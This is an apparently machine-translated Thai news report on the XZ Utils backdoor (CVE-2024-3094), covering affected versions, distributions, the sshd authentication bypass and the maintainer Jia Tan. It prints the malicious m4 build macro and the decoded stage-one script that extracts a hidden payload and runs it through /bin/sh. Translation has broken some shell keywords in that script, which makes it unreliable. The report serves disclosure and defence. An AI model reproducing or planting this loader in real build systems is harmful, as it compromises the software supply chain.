พบแบ็คดอร์ (CVE-2024-3094) ในแพ็กเกจ XZ Utils ซึ่งประกอบด้วยไลบรารี liblzma และยูทิลิตี้สำหรับการทำงานกับข้อมูลที่บีบอัดในรูปแบบ ".xz" แบ็คดอร์นี้อนุญาตให้ดักจับและแก้ไขข้อมูลที่ประมวลผลโดยแอปพลิเคชันที่เชื่อมโยงกับไลบรารี liblzma เป้าหมายหลักของแบ็คดอร์คือเซิร์ฟเวอร์ OpenSSH ซึ่งในบางดิสทริบิวชันจะเชื่อมโยงกับไลบรารี libsystemd ซึ่งใช้ liblzma การเชื่อมต่อ sshd เข้ากับไลบรารีที่มีช่องโหว่ทำให้ผู้โจมตีสามารถเข้าถึงเซิร์ฟเวอร์ SSH ได้โดยไม่ต้องมีการตรวจสอบสิทธิ์
ช่องโหว่นี้ปรากฏอยู่ในเวอร์ชัน 5.6.0 และ 5.6.1 อย่างเป็นทางการ ซึ่งเผยแพร่เมื่อวันที่ 24 กุมภาพันธ์ และ 9 มีนาคม ตามลำดับ เวอร์ชันเหล่านี้ถูกรวมอยู่ในดิสทริบิวชันและรีโพซิตอรีหลายตัว ได้แก่ Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide และ 40-beta, openSUSE factory และ tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current และ Manjaro testing ขอแนะนำให้ผู้ใช้ xz 5.6.0 และ 5.6.1 ทุกคนดาวน์เกรดเป็นเวอร์ชัน 5.4.6 ทันที
ปัจจัยบรรเทาผลกระทบ ได้แก่ ความจริงที่ว่า liblzma เวอร์ชันที่มีช่องโหว่ยังไม่ถูกรวมอยู่ในเวอร์ชันเสถียรของดิสทริบิวชันหลัก แต่เวอร์ชันนี้ส่งผลกระทบต่อ openSUSE Tumbleweed และ Fedora 40-beta Arch Linux และ Gentoo ใช้เวอร์ชัน zx ที่มีช่องโหว่ แต่ไม่ได้เสี่ยงต่อการโจมตี เนื่องจากไม่ได้ติดตั้งแพตช์ systemd-notify ให้กับ openssh ซึ่งทำให้ sshd เชื่อมโยงกับ liblzma ช่องโหว่นี้ส่งผลกระทบต่อระบบ x86_64 ที่ใช้เคอร์เนล Linux และไลบรารี Glibc C เท่านั้น
รหัสเปิดใช้งานแบ็คดอร์ถูกซ่อนไว้ในมาโคร m4 จากไฟล์ build-to-host.m4 ที่ชุดเครื่องมือ automake ใช้ระหว่างการสร้าง ระหว่างการสร้าง การดำเนินการที่ซับซ้อนและซับซ้อนซึ่งอิงจากไฟล์เก็บถาวร (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma) ซึ่งใช้สำหรับทดสอบการทำงานที่ถูกต้องได้สร้างไฟล์อ็อบเจ็กต์ที่มีโค้ดอันตราย รหัสนี้ถูกรวมอยู่ในไลบรารี liblzma และเปลี่ยนแปลงตรรกะของฟังก์ชันบางอย่าง มาโคร m4 ที่เปิดใช้งานแบ็คดอร์ถูกรวมอยู่ในไฟล์ tarball ของเวอร์ชันที่เผยแพร่ แต่ไม่พบในที่เก็บ Git อย่างไรก็ตาม มีไฟล์เก็บถาวรการทดสอบที่เป็นอันตรายอยู่ในที่เก็บ ซึ่งหมายความว่าตัวฉีดแบ็คดอร์สามารถเข้าถึงทั้งที่เก็บและกระบวนการสร้างเวอร์ชันที่เผยแพร่ได้
เมื่อใช้ liblzma ในแอปพลิเคชัน การแก้ไขที่เป็นอันตรายอาจถูกนำมาใช้เพื่อสกัดกั้นหรือแก้ไขข้อมูลและรบกวนการทำงานของ sshd โดยเฉพาะอย่างยิ่ง โค้ดที่เป็นอันตรายได้แทนที่ฟังก์ชัน RSA_public_decrypt เพื่อข้ามการตรวจสอบสิทธิ์ sshd แบ็คดอร์นี้มีการป้องกันการตรวจจับและจะไม่ถูกตรวจจับเมื่อตั้งค่าตัวแปรสภาพแวดล้อม LANG และ TERM (เช่น เมื่อรันกระบวนการในเทอร์มินัล) และไม่ได้ตั้งค่าตัวแปรสภาพแวดล้อม LD_DEBUG และ LD_PROFILE แบ็คดอร์ยังถูกเปิดใช้งานเฉพาะเมื่อเรียกใช้ไฟล์ปฏิบัติการ /usr/sbin/sshd เท่านั้น แบ็คดอร์นี้ยังรวมถึงวิธีการตรวจจับการทำงานในสภาพแวดล้อมการดีบักด้วย
โดยเฉพาะอย่างยิ่งไฟล์ m4/build-to-host.m4 ใช้โครงสร้างต่อไปนี้: gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
ในการก่อสร้างครั้งแรก การดำเนินการ grep พบไฟล์ tests/files/bad-3-corrupt_lzma2.xz ซึ่งเมื่อแตกไฟล์แล้วจะสร้างสคริปต์: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && ออก 0 eval `grep ^srcdir= config.status` ถ้า test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####โลก####
ยังไม่เป็นที่แน่ชัดว่าผู้โจมตีเข้าถึงโครงสร้างพื้นฐานของโครงการ xz ได้อย่างไร นอกจากนี้ยังไม่ชัดเจนว่ามีผู้ใช้และโครงการจำนวนเท่าใดที่ถูกบุกรุกโดยช่องโหว่นี้ ผู้เขียนช่องโหว่ (JiaT75 หรือที่รู้จักกันในชื่อ Jia Tan) ซึ่งโพสต์ไฟล์เก็บถาวรที่มีโค้ดอันตรายลงในที่เก็บ ได้ติดต่อกับนักพัฒนา Fedora และส่งคำขอดึงข้อมูล (pull request) ไปยัง Debian เกี่ยวกับการเปลี่ยนรุ่นของดิสทริบิวชันเป็น xz 5.6.0 เขาไม่ได้ทำให้เกิดความสงสัยใดๆ เนื่องจากเขามีส่วนร่วมในการพัฒนา xz มาสองปีแล้ว และเป็นผู้สนับสนุนรายใหญ่อันดับสอง นอกจากโครงการ xz แล้ว ผู้เขียนช่องโหว่นี้ยังมีส่วนร่วมในแพ็คเกจ xz-java และ xz-embedded อีกด้วย นอกจากนี้ Jia Tan เพิ่งได้รับแต่งตั้งให้เป็นผู้ดูแลโครงการ XZ Embedded ซึ่งใช้ในเคอร์เนล Linux
การเปลี่ยนแปลงที่เป็นอันตรายนี้ถูกค้นพบหลังจากการวิเคราะห์การใช้ CPU มากเกินไปและข้อผิดพลาดที่ valgrind ส่งกลับมาเมื่อเชื่อมต่อผ่าน SSH ไปยังระบบที่ใช้ Debian sid ที่น่าสังเกตคือ เวอร์ชัน xz 5.6.1 ได้มีการเปลี่ยนแปลงที่ผู้เขียนแบ็กดอร์ที่ถูกกล่าวหาเตรียมไว้เพื่อตอบสนองต่อข้อร้องเรียนเกี่ยวกับการทำงานช้าลงของ sshd และปัญหาขัดข้องที่เกิดขึ้นหลังจากอัปเกรดเป็น zx 5.6.0 ซึ่งมีแบ็กดอร์อยู่ นอกจากนี้ เมื่อปีที่แล้ว Jia Tan ได้แนะนำการเปลี่ยนแปลงที่เข้ากันไม่ได้กับโหมดการตรวจสอบ "-fsanitize=address" ซึ่งส่งผลให้โหมดนี้ถูกปิดใช้งานระหว่างการทดสอบฟัซซิ่ง
ที่มา: opennet.ru
